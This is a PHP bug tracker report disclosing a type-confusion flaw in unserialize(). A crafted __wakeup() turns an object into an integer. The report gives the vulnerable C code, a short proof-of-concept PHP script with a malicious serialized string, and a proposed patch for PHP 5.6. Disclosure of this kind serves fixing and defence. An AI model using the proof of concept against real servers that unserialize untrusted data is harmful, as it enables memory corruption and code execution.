|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-08-02 11:27 UTC] taoguangchen at icloud dot com
Description:
------------
This bug is similar to bug#69425:
```
if (!process_nested_data(UNSERIALIZE_PASSTHRU, ht, elements, 1)) {
return 0;
}
ZVAL_DEREF(rval);
if (Z_OBJCE_P(rval) != PHP_IC_ENTRY &&
zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup", sizeof("__wakeup")-1)) {
```
A object-type ZVAL can be converted into other types via process_nested_data() with a crafted __wakeup(), then the ZVAL pass to Z_OBJCE_P, that result in type-confusion and code execution easily via a integer-type ZVAL in PHP7 series.
PoC:
```
<?php
class obj {
var $ryat;
function __wakeup() {
$this->ryat = 0x1122334455;
}
}
$poc = 'O:8:"stdClass":1:{i:0;O:3:"obj":1:{s:4:"ryat";R:1;}}';
unserialize($poc);
?>
```
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Tue Oct 28 07:00:01 2025 UTC |
The follow patch can fix this bug (against PHP 5.6): ``` static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops) { ... var_push_dtor_no_addref(var_hash, &data); return 0; } + if (!HASH_OF(*rval) || HASH_OF(*rval) != ht) { + var_push_dtor_no_addref(var_hash, &data); + var_push_dtor_no_addref(var_hash, &key); + if (elements && *(*p-1) != ';' && *(*p-1) != '}') { + (*p)--; + return 0; + } + continue; + } if (!objprops) { switch (Z_TYPE_P(key)) { ... static inline int object_common2(UNSERIALIZE_PARAMETER, long elements) { ... ZVAL_NULL(*rval); return 0; } - if (Z_TYPE_PP(rval) != IS_OBJECT) { - return 0; - } + if (Z_TYPE_PP(rval) == IS_OBJECT && Z_OBJCE_PP(rval) != PHP_IC_ENTRY && ```